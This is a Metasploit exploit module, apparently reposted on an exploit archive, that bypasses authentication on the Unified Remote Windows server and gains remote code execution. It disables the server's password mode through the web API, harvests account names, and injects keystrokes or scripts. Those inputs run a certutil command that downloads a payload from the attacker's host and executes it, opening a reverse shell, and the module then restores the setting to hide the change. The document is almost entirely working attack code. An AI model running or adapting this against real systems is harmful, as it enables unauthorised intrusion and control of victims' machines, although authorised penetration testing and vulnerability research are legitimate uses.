Unified Remote Authentication Bypass / Code Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Exploit::Remote::Tcp
  # attempted cmdstger, however there was so much sleep involved for the screen to clear the buffer
  # that it was going to take hours. The buffer would also overrun itself and the exploit would fail
  # if not enough sleep time was used. it was a nightmare, not for this exploit.
  # include Msf::Exploit::CmdStager
  include Exploit::EXE # generate_payload_exe
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Unified Remote Auth Bypass to RCE',
        'Description' => %q{
          This module utilizes the Unified Remote remote control protocol to type out and
          deploy a payload.  The remote control protocol can be configured to have no passwords,
          a group password, or individual user accounts.  If the web page is accessible, the
          access control is set to no password for exploitation, then reverted.
          If the web page is not accessible, exploitation will be tried blindly.
          This module has been successfully tested against version 3.11.0.2483 (50) on Windows 10.
        },
        'License' => MSF_LICENSE,
        'Author' => [
          'h00die', # msf module
          'H4RK3NZ0' # edb
        ],
        'References' => [
          [ 'EDB', '49587' ],
          [ 'URL', 'https://www.unifiedremote.com/' ],
          [ 'URL', 'https://github.com/H4rk3nz0/PenTesting/blob/main/Exploits/unified%20remote/unified-remote-rce.py' ],
          [ 'CVE', '2022-3229' ]
        ],
        'Arch' => [ ARCH_X64, ARCH_X86 ],
        'Platform' => 'win',
        'Stance' => Msf::Exploit::Stance::Aggressive,
        'Targets' => [
          ['pull', {}],
        ],
        'Payload' => {
          'BadChars' => "\x0a\x00"
        },
        'DefaultOptions' => {
          # since this may get typed out ON SCREEN we want as small a payload as possible
          'PAYLOAD' => 'windows/shell/reverse_tcp'
        },
        'DisclosureDate' => '2021-02-25',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'Reliability' => [CRASH_SERVICE_DOWN],
          'SideEffects' => [SCREEN_EFFECTS, ARTIFACTS_ON_DISK] # typing on screen
        }
      )
    )
    register_options(
      [
        OptPort.new('RPORT', [true, 'Port Unified Remote runs on', 9512]),
        OptPort.new('WEBSERVER', [true, 'Port Unified Remote web server runs on', 9510]),
        OptInt.new('SLEEP', [true, 'How long to sleep between commands', 1]),
        OptString.new('PATH', [true, 'Where to stage payload for pull method', 'c:\\Windows\\Temp\\']),
        OptString.new('CLIENTNAME', [false, 'Name of client, this shows up in the logs', '']),
        OptBool.new('VISIBLE', [false, 'Make exploitation visible to the user', false]),
      ]
    )
  end

  def win_key
    'LWIN' # 4c57494e
  end

  def ret_key
    'RETURN' # 52455455524e
  end

  def space_key
    'SPACE' # 5350414345
  end

  def path
    return datastore['PATH'] if datastore['PATH'].end_with? '\\'

    "#{datastore['PATH']}\\"
  end

  def initialize_packet
    initialize_packet = "\x00\x00\x00\x85\x00\x01\x08"
    initialize_packet << "Action\x00" # 416374696f6e 00
    initialize_packet << "\x00\x05"
    initialize_packet << "Password\x00" # 50617373776f7264 00
    initialize_packet << '8e8133b3-a18b-43af-a7cd-e04f747827ce' # 38653831333362332d613138622d343361662d613763642d653034663734373832376365 seems to be a default
    initialize_packet << "\x00\x05"
    initialize_packet << "Platform\x00" # 506c6174666f726d 00
    initialize_packet << "android\x00" # 616e64726f6964 00
    initialize_packet << "\x08"
    initialize_packet << "Request\x00" # 52657175657374 00
    initialize_packet << "\x00\x05"
    initialize_packet << "Source\x00" # 536f7572636500
    # this line shows up in logs as who connected
    initialize_packet << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00
    initialize_packet << "\x03"
    initialize_packet << "Version\x00" # 56657273696f6e 00
    initialize_packet << "\x00\x00\x00\x0a\x00"
  end

  def empty_authentication
    empty_authentication = "\x00\x00\x00\xc8\x00\x01\x08"
    empty_authentication << "Action\x00" # 416374696f6e 00
    empty_authentication << "\x01\x02"
    empty_authentication << "Capabilities\x00" # 4361706162696c6974696573 00
    empty_authentication << "\x04"
    empty_authentication << "Actions\x00" # 416374696f6e73 00
    empty_authentication << "\x01\x04"
    empty_authentication << "Encryption2\x00" # 456e6372797074696f6e32 00
    empty_authentication << "\x01\x04"
    empty_authentication << "Fast\x00" # 46617374 00
    empty_authentication << "\x00\x04"
    empty_authentication << "Grid\x00" # 47726964 00
    empty_authentication << "\x01\x04"
    empty_authentication << "Loading\x00" # 4c6f6164696e6700
    empty_authentication << "\x01\x04"
    empty_authentication << "Sync\x00" # 53796e6300
    empty_authentication << "\x01\x00\x05"
    empty_authentication << "Password\x00" # 50617373776f7264 00
    empty_authentication << 'd634c1dcfdeb8735608a4a104ded4076de766dd61443619809ad7f35858d4492' # 64363334633164636664656238373335363038613461313034646564343037366465373636646436313434333631393830396164376633353835386434343932 seems to be a default
    empty_authentication << "\x00\x08"
    empty_authentication << "Request\x00" # 52657175657374 00
    empty_authentication << "\x01\x05"
    empty_authentication << "Source\x00" # 536f7572636500
    # this line shows up in logs as who connected
    empty_authentication << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00
    empty_authentication << "\x00"
  end

  #############################################
  # These methods/packets are for visible mode
  #############################################

  def string_header_one(length)
    # 2 null, then message length takes next 2 spots
    string_header_one = "\x00\x00"
    string_header_one << [length].pack('n').to_s
  end

  def string_header_two
    string_header_two = "\x00\x01\x08"
    string_header_two << "Action\x00" # 416374696f6e 00
    string_header_two << "\x07\x05"
    string_header_two << "ID\x00" # 4944 00
    string_header_two << "Relmtech.Keyboard\x00" # 52656c6d746563682e4b6579626f617264 00
    string_header_two << "\x02"
    string_header_two << "Layout\x00" # 4c61796f7574 00
    string_header_two << "\x06"
    string_header_two << "Controls\x00" # 436f6e74726f6c73 00
    string_header_two << "\x02\x00\x02"
    string_header_two << "OnAction\x00" # 4f6e416374696f6e 00
    string_header_two << "\x02"
    string_header_two << "Extras\x00" # 457874726173 00
    string_header_two << "\x06"
    string_header_two << "Values\x00" # 56616c756573 00
    string_header_two << "\x02\x00\x05"
    string_header_two << "Value\x00" # 56616c7565 00
  end

  def string_footer
    string_footer = "\x00\x00\x00\x00\x05"
    string_footer << "Name\x00" # 4e616d65 00
    string_footer << "toggle\x00" # 746f67676c65 00
    string_footer << "\x00\x05"
    string_footer << "Source\x00" # 536f75726365 00
    # this line shows up in logs as who connected
    string_footer << "#{@client_name}\x00" # 616e64726f69642d64373038653134653532383463623831 00
    string_footer << "\x00"
  end

  def send_key(key, press_return: false)
    if key == ' '
      key = space_key
    end
    contents = "#{string_header_two}#{key}#{string_header_three}#{key}#{string_footer}"
    contents = "#{string_header_one(contents.length)}#{contents}"
    sock.put(contents)
    if press_return
      contents = "#{string_header_two}#{ret_key}#{string_header_three}#{ret_key}#{string_footer}"
      contents = "#{string_header_one(contents.length)}#{contents}"
      sock.put(contents)
    end
  end

  ##############################################
  # These methods/packets are for invisible mode
  ##############################################

  def load_unified_command
    # header: 00 00 00 5e
    wait = "\x00\x01\x08"
    wait << "Action\x00" # 416374696f6e 00
    wait << "\x03\x05" # changed from the previous one from 07 to 03
    wait << "ID\x00" # 4944 00
    wait << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
    wait << "\x02"
    wait << "Layout\x00" # 4c61796f7574 00
    wait << "\x03"
    wait << "Hash\x00" # 48617368 00
    wait << "\x9e\xd0\x99:\x00" # 9ed0993a 00
    wait << "\x08"
    wait << "Request\x00" # 52657175657374 00
    wait << "\x03\x05" # changed from the previous one from 07 to 03
    wait << "Source\x00" # 536f7572636500
    wait << "#{@client_name}\x00"
    wait << "\x00"
  end

  def create_script
    # header: 00 00 00 e2
    new_onee = "\x00\x01\x08"
    new_onee << "Action\x00" # 416374696f6e 00
    new_onee << "\x07\x05"
    new_onee << "ID\x00" # 4944 00
    new_onee << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
    new_onee << "\x02"
    new_onee << "Layout\x00" # 4c61796f7574 00
    new_onee << "\x06"
    new_onee << "Controls\x00" # 436f6e74726f6c73 00
    new_onee << "\x02\x00\x02"
    new_onee << "OnAction\x00" # 4f6e416374696f6e 00
    new_onee << "\x02"
    new_onee << "Extras\x00" # 457874726173 00
    new_onee << "\x06"
    new_onee << "Values\x00" # 56616c756573 00
    new_onee << "\x02\x00\x05"
    new_onee << "Key\x00" # 4b6579 00
    new_onee << "Text\x00" # 54657874 00
    new_onee << "\x05"
    new_onee << "Value\x00" # 56616c7565 00
    new_onee << "\x00\x00\x00\x00\x05"
    new_onee << "Name\x00" # 4e616d65 00
    new_onee << "update\x00" # 757064617465 00
    new_onee << "\x00\x08"
    new_onee << "Type\x00" # 54797065 00
    new_onee << "\x08\x00\x00\x00\x08"
    new_onee << "Request\x00" # 52657175657374 00
    new_onee << "\x07\x02"
    new_onee << "Run\x00" # 52756e 00
    new_onee << "\x02"
    new_onee << "Extras\x00" # 457874726173 00
    new_onee << "\x06"
    new_onee << "Values\x00" # 56616c756573 00
    new_onee << "\x02\x00\x05"
    new_onee << "Key\x00" # 4b6579 00
    new_onee << "Text\x00" # 54657874 00
    new_onee << "\x05"
    new_onee << "Value\x00" # 56616c7565 00
    new_onee << "\x00\x00\x00\x00\x05"
    new_onee << "Name\x00" # 4e616d65 00
    new_onee << "update\x00" # 757064617465 00
    new_onee << "\x00\x05"
    new_onee << "Source\x00" # 536f75726365 00
    new_onee << "#{@client_name}\x00"
    new_onee << "\x00"
  end

  def initialize_keyboard
    # header 00 00 00 4b
    new_twoo = "\x00\x01\x08"
    new_twoo << "Action\x00" # 416374696f6e 00
    new_twoo << "\x05\x05"
    new_twoo << "ID\x00" # 4944 00
    new_twoo << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
    new_twoo << "\x08"
    new_twoo << "Request\x00" # 52657175657374 00
    new_twoo << "\x05\x05"
    new_twoo << "Source\x00" # 536f75726365 00
    new_twoo << "#{@client_name}\x00"
    new_twoo << "\x00"
  end

  def add_content(command)
    # header is dymanic based on length of command
    new_threee = "\x00\x01\x08"
    new_threee << "Action\x00" # 416374696f6e 00
    new_threee << "\x07\x05"
    new_threee << "ID\x00" # 4944 00
    new_threee << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
    new_threee << "\x02"
    new_threee << "Layout\x00" # 4c61796f7574 00
    new_threee << "\x06"
    new_threee << "Controls\x00" # 436f6e74726f6c73 00
    new_threee << "\x02\x00\x02"
    new_threee << "OnAction\x00" # 4f6e416374696f6e 00
    new_threee << "\x02"
    new_threee << "Extras\x00" # 457874726173 00
    new_threee << "\x06"
    new_threee << "Values\x00" # 56616c756573 00
    new_threee << "\x02\x00\x05"
    new_threee << "Key\x00" # 4b6579 00
    new_threee << "Text\x00" # 54657874 00
    new_threee << "\x05"
    new_threee << "Value\x00" # 56616c7565 00
    new_threee << command
    new_threee << "\x00\x00\x00\x00\x05"
    new_threee << "Name\x00" # 4e616d65 00
    new_threee << "update\x00" # 757064617465 00
    new_threee << "\x00\x08"
    new_threee << "Type\x00" # 54797065 00
    new_threee << "\x08\x00\x00\x00\x08"
    new_threee << "Request\x00" # 52657175657374 00
    new_threee << "\x07\x02"
    new_threee << "Run\x00" # 52756e 00
    new_threee << "\x02"
    new_threee << "Extras\x00" # 457874726173 00
    new_threee << "\x06"
    new_threee << "Values\x00" # 56616c756573 00
    new_threee << "\x02\x00\x05"
    new_threee << "Key\x00" # 4b6579 00
    new_threee << "Text\x00" # 54657874 00
    new_threee << "\x05"
    new_threee << "Value\x00" # 56616c7565 00
    new_threee << command
    new_threee << "\x00\x00\x00\x00\x05"
    new_threee << "Name\x00" # 4e616d65 00
    new_threee << "update\x00" # 757064617465 00
    new_threee << "\x00\x05"
    new_threee << "Source\x00" # 536f75726365 00
    new_threee << "#{@client_name}\x00"
    new_threee << "\x00"
  end

  def execute_script
    # header 00 00 00 96
    new_fourr = "\x00\x01\x08"
    new_fourr << "Action\x00" # 416374696f6e 00
    new_fourr << "\x07\x05"
    new_fourr << "ID\x00" # 4944 00
    new_fourr << "Unified.Command\x00" # 556e69666965642e436f6d6d616e64 00
    new_fourr << "\x02"
    new_fourr << "Layout\x00" # 4c61796f7574 00
    new_fourr << "\x06"
    new_fourr << "Controls\x00" # 436f6e74726f6c73 00
    new_fourr << "\x02\x00\x02"
    new_fourr << "OnAction\x00" # 4f6e416374696f6e 00
    new_fourr << "\x05"
    new_fourr << "Name\x00" # 4e616d65 00
    new_fourr << "execute\x00" # 65786563757465 00
    new_fourr << "\x00\x08"
    new_fourr << "Type\x00" # 54797065 00
    new_fourr << "\x08\x00\x00\x00\x08"
    new_fourr << "Request\x00" # 52657175657374 00
    new_fourr << "\x07\x02"
    new_fourr << "Run\x00" # 52756e 00
    new_fourr << "\x05"
    new_fourr << "Name\x00" # 4e616d65 00
    new_fourr << "execute\x00" # 65786563757465 00
    new_fourr << "\x00\x05"
    new_fourr << "Source\x00" # 536f75726365 00
    new_fourr << "#{@client_name}\x00"
    new_fourr << "\x00"
  end

  def string_header_three
    string_header_three = "\x00\x00\x00\x00\x05"
    string_header_three << "Name\x00" # 4e616d65 00
    string_header_three << "toggle\x00" # 746f67676c65 00
    string_header_three << "\x00\x08"
    string_header_three << "Type\x00" # 54797065 00
    string_header_three << "\x08\x00\x00\x00\x08"
    string_header_three << "Request\x00" # 52657175657374 00
    string_header_three << "\x07\x02"
    string_header_three << "Run\x00" # 52756e 00
    string_header_three << "\x02"
    string_header_three << "Extras\x00" # 457874726173 00
    string_header_three << "\x06"
    string_header_three << "Values\x00" # 56616c756573 00
    string_header_three << "\x02\x00\x05"
    string_header_three << "Value\x00" # 56616c7565 00
  end

  def on_request_uri(cli, _req)
    p = generate_payload_exe
    send_response(cli, p)
    print_good("Payload request received, sending #{p.length} bytes of payload for staging")
  end

  def restart_server
    http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i })
    # http client overrides sock, so we had to pick one... long live sock
    request ="GET /system/restart HTTP/1.1\r\n"
    request <<"Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n"
    request <<"\r\n"

    http_sock.put(request)
    disconnect
    print_status('Sleeping 5 seconds for server to restart')
    sleep(5)
  end

  def set_config(config)
    print_status('Uploading new server config')
    http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i })
    # http client overrides sock, so we had to pick one... long live sock
    request ="POST /system/config HTTP/1.1\r\n"
    request <<"Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n"
    request <<"Accept: application/json, text/javascript, */*; q=0.01\r\n"
    request <<"Content-Type: application/json\r\n"
    request <<"X-Requested-With: XMLHttpRequest\r\n"
    request <<"Content-Length: #{config.to_json.length}\r\n"
    request <<"\r\n"
    request << config.to_json

    http_sock.put(request)
    begin
      http_sock.get_once(-1)
    rescue EOFError
      return nil
    end

    disconnect
    restart_server
  end

  def get_config
    print_status('Retrieving server config')
    http_sock = connect(false, { 'RPORT' => datastore['WEBSERVER'].to_i })
    # http client overrides sock, so we had to pick one... long live sock
    request ="GET /system/config HTTP/1.1\r\n"
    request <<"Host: #{datastore['RHOST']}:#{datastore['WEBSERVER']}\r\n"
    request <<"\r\n"

    http_sock.put(request)
    begin
      res = http_sock.get_once(-1)
    rescue EOFError
      return nil
    end
    disconnect
    body = res.split("\r\n\r\n")[1]
    if body.include?('<h1>Forbidden (403)</h1>')
      print_error('Web interface is disabled. Unable to attempt bypass, assuming no authentication.')
      return nil
    else
      # transient error where the JSON doesn't fully receive maybe 1/15 tries in my testing
      begin
        return JSON.parse(body) # split between headers and body
      rescue JSON::ParserError
        return nil
      end
    end
  end

  def report_cred(opts)
    service_data = {
      address: opts[:ip],
      port: opts[:port],
      service_name: opts[:service_name],
      protocol: 'tcp',
      workspace_id: myworkspace_id
    }

    credential_data = {
      origin_type: :service,
      module_fullname: fullname,
      username: opts[:user],
      private_data: opts[:password],
      private_type: :password
    }.merge(service_data)

    login_data = {
      core: create_credential(credential_data),
      status: Metasploit::Model::Login::Status::SUCCESSFUL,
      last_attempted_at: DateTime.now,
      proof: opts[:proof]
    }.merge(service_data)

    create_credential_login(login_data)
  end

  def check
    security_mode = get_config
    if security_mode.nil?
      return CheckCode::Unknown('Unable to get config from web server, unknown status of Unified Remote Controller')
    end

    CheckCode::Vulnerable("Unified Remote is vulnerable on port #{security_mode['interfaces']['tcp']['port']} with security mode '#{security_mode['security']['mode']}' (can be bypassed, if needed)")
  end

  def exploit
    if datastore['CLIENTNAME'].blank?
      @client_name = "android-#{Rex::Text.rand_text_alphanumeric(16)}"
      print_status("Client name set to: #{@client_name}")
    else
      @client_name = datastore['CLIENTNAME']
    end
    # first grab the config from the HTTP server to determine if we need to disable auth
    security_mode = get_config
    reset_security_mode = nil
    unless security_mode.nil?
      if security_mode['security']['mode'] == 'none'
        print_good('No security enabled')
      else
        print_status("#{security_mode['security']['mode']} mode enabled, password required, bypassing")
        reset_security_mode = security_mode['security']['mode']
        security_mode['security']['mode'] = 'none'
        set_config(security_mode)
      end
      # now that we have the config, check if theres any users, no passwords (theyre GUIDs)
      security_mode['security']['users'].each do |account|
        print_good("Found account: #{account['username']}")
        report_cred(
          ip: rhost,
          port: rport,
          service_name: 'wifi mouse',
          user: account['username'],
          password: '',
          proof: account
        )
      end
    end

    # start actually exploiting the rdp-ish server
    connect
    print_status('Sending handshake')
    sock.put(initialize_packet)
    sleep(datastore['SLEEP'])
    print_status('Sending empty authentication')
    sock.put(empty_authentication)
    sleep(datastore['SLEEP'])

    filename = Rex::Text.rand_text_alphanumeric(rand(8..17)) + '.exe'
    register_file_for_cleanup("#{path}#{filename}")
    # this method was in the original edb exploit, this is significantly faster
    # and speed is of the essence since remote user input most likely breaks this module
    stager = "certutil.exe -urlcache -f http://#{datastore['lhost']}:#{datastore['SRVPORT']}/ #{path}#{filename}"
    start_service('Path' => '/') # start webserver

    if datastore['VISIBLE']
      print_status('Opening Start Menu')
      # original exploit sent it twice, so we follow that
      send_key(win_key)
      send_key(win_key)
      sleep(datastore['SLEEP'])

      print_status('Opening command prompt')
      'cmd.exe'.each_char do |letter|
        send_key(letter)
      end
      send_key(ret_key)
      sleep(datastore['SLEEP'])

      print_status('Typing out payload')
      stager.each_char do |letter|
        send_key(letter)
      end
      send_key(ret_key)
      sleep(datastore['SLEEP'] * 2) # give time for it to save

      print_status('Attempting to open payload')
      "#{path}#{filename} && exit".each_char do |letter|
        send_key(letter)
      end
      send_key(ret_key)
    else
      stager << " && #{path}#{filename} && exit"
      print_status('Loading Unified.Command')
      contents = load_unified_command
      sock.put("#{string_header_one(contents.length)}#{contents}")
      sleep(datastore['SLEEP'])

      print_status('Updating Unified.Command')
      contents = create_script
      sock.put("#{string_header_one(contents.length)}#{contents}")
      sleep(datastore['SLEEP'])

      contents = initialize_keyboard
      sock.put("#{string_header_one(contents.length)}#{contents}")
      sleep(datastore['SLEEP'])

      print_status('Sending payload')
      contents = add_content(stager)
      sock.put("#{string_header_one(contents.length)}#{contents}")
      sleep(datastore['SLEEP'])

      print_status('Executing script')
      contents = execute_script
      sock.put("#{string_header_one(contents.length)}#{contents}")
      sleep(datastore['SLEEP'])

      contents = create_script
      sock.put("#{string_header_one(contents.length)}#{contents}")
      sleep(datastore['SLEEP'])
    end

    handler
    disconnect
    sleep(datastore['SLEEP'] * 2) # give time for it to do its thing before we revert

    # lastly some cleanup
    unless reset_security_mode.nil?
      print_status('Reverting security mode')
      security_mode['security']['mode'] = reset_security_mode
      set_config(security_mode)
    end
  end
end

Copyright ©2024 Exploitalert.